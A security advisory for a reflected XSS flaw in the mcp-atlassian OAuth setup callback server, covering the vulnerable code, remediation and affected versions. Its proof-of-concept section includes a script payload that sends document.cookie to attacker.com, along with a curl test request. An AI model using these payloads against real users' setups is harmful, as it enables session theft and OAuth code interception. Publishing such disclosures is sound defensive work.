CVE-2026-77272: MCP Atlassian: Reflected XSS in OAuth Setup Callback Handler

Published Sep 22, 2026
·
Updated

Summary

The OAuth 2.0 setup wizard's local callback HTTP server reflects the error query parameter directly into an HTML response without any sanitization or encoding. An attacker can craft a malicious callback URL containing JavaScript in the error parameter that executes in the victim's browser when the setup wizard is running. The server binds to all network interfaces (0.0.0.0), making it accessible from the local network rather than just localhost.

Details

The vulnerability exists in the CallbackHandler class in src/mcpatlassian/utils/oauthsetup.py.

Step 1 -- Attacker-controlled input enters unsanitized:

At line 63-66, the error query parameter from the URL is read and interpolated into a message string without HTML escaping:

python src/mcpatlassian/utils/oauthsetup.py:63-66 if "error" in params: callbackerror = params["error"][0] callbackreceived = True self.sendresponse(f"Authorization failed: {callbackerror}")

Step 2 -- Unsanitized input is injected into HTML:

At line 124-125 in sendresponse, the message variable (containing the unescaped attacker input) is injected directly into the HTML template via f-string interpolation:

python src/mcpatlassian/utils/oauthsetup.py:124-125 <div class="message {"success" if status == 200 else "error"}"> <p>{message}</p> </div>

Step 3 -- Server listens on all interfaces:

At line 167, the callback server binds to all network interfaces, not just localhost:

python src/mcpatlassian/utils/oauthsetup.py:167 httpd = socketserver.TCPServer(("", port), handler)

This means the XSS is exploitable from any machine that can reach the victim's IP on the callback port (default 8080), not just from the local machine.

Step 4 -- No security headers:

The response at line 84-86 sets Content-type: text/html but does not include Content-Security-Policy, X-Content-Type-Options, or X-XSS-Protection headers:

python src/mcpatlassian/utils/oauthsetup.py:84-86 self.sendresponse(status) self.sendheader("Content-type", "text/html") self.endheaders()

PoC

Prerequisites: The victim must be running the OAuth setup wizard (mcp-atlassian --oauth-setup or runoauthsetup()), which starts the callback server.

Step 1 -- Craft the malicious URL:

http://<victim-ip>:8080/callback?error=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Step 2 -- Deliver the link to the victim:

Send the link to the victim (via email, chat, or any channel). When the victim clicks the link while their OAuth setup wizard is running, the JavaScript executes in their browser context.

Step 3 -- Verify with a simpler payload:

bash Start the setup wizard (victim's machine) uv run mcp-atlassian --oauth-setup

From attacker's machine (or same network): curl "http://<victim-ip>:8080/callback?error=%3Cscript%3Ealert(document.domain)%3C/script%3E"

The response HTML will contain: html <p>Authorization failed: <script>alert(document.domain)</script></p>

Impact

- JavaScript execution in the victim's browser context during the OAuth setup flow. - While the callback server is short-lived (only active during initial setup), the exposure window is meaningful because: 1. The server binds to all interfaces, making it accessible from the local network. 2. The setup wizard waits up to 300 seconds (5 minutes) for the callback (line 174). 3. During this window, any crafted request triggers the XSS. - An attacker on the same network could potentially intercept or manipulate the OAuth authorization code, since the callback also handles code and state parameters on the same endpoint.

Recommended Fix

1. HTML-escape the message before injecting into the template:

python src/mcpatlassian/utils/oauthsetup.py import html

def sendresponse(self, message: str, status: int = 200) -> None: """Send response to the browser.""" self.sendresponse(status) self.sendheader("Content-type", "text/html") self.sendheader("X-Content-Type-Options", "nosniff") self.sendheader("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'") self.endheaders()

# Escape user-controlled content before HTML injection safemessage = html.escape(message)

htmlcontent = f""" ... <div class="message {"success" if status == 200 else "error"}"> <p>{safemessage}</p> </div> ... """

2. Bind the callback server to localhost only:

python src/mcpatlassian/utils/oauthsetup.py:167 Change from: httpd = socketserver.TCPServer(("", port), handler) To: httpd = socketserver.TCPServer(("127.0.0.1", port), handler)

Other sources

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the OAuth error query parameter is passed to CallbackHandler.sendresponse in oauthsetup.py and interpolated into an HTML page without escaping. A crafted authorization callback can inject markup or script that executes in the browser of a user completing the OAuth flow. This issue is fixed in version 0.22.0.

— MITRE

Affected Software

3 affected componentsFixes available
pypi/mcp-atlassian<0.22.0
pip/mcp-atlassian<0.22.0
0.22.0
mcp-atlassian MCP Atlassian<0.22.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/mcp-atlassian to a version that resolves this vulnerability.

    Fixed in 0.22.0
  2. Upgrade

    Upgrade mcp-atlassian to a version that resolves this vulnerability.

    Fixed in 0.22.0
  3. Configuration

    Bind the callback server to localhost only instead of all interfaces, using TCPServer(("127.0.0.1", port), handler).

    OAuth setup callback server bind address = 127.0.0.1
  4. Configuration

    HTML-escape the message before injecting it into the HTML template.

    OAuth setup callback handler HTML escaping = html.escape(message)

Event History

Sep 22, 2026
CVE Published
via MITRE·06:33 PM
Data Sourced
via MITRE·06:33 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·08:35 PM
Data Sourced
via GitHub·08:35 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Users of MCP Atlassian versions earlier than 0.22.0 are exposed when they are completing the OAuth flow and their browser processes a crafted authorization callback.

2

What does an attacker need to exploit it?

An attacker needs to cause a user completing OAuth to receive a crafted authorization callback containing a malicious OAuth error query parameter. No prior privileges are required, but user interaction is required.

3

What version fixes the vulnerability?

Upgrade MCP Atlassian to version 0.22.0 or later. The vulnerable behavior affects versions before 0.22.0.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203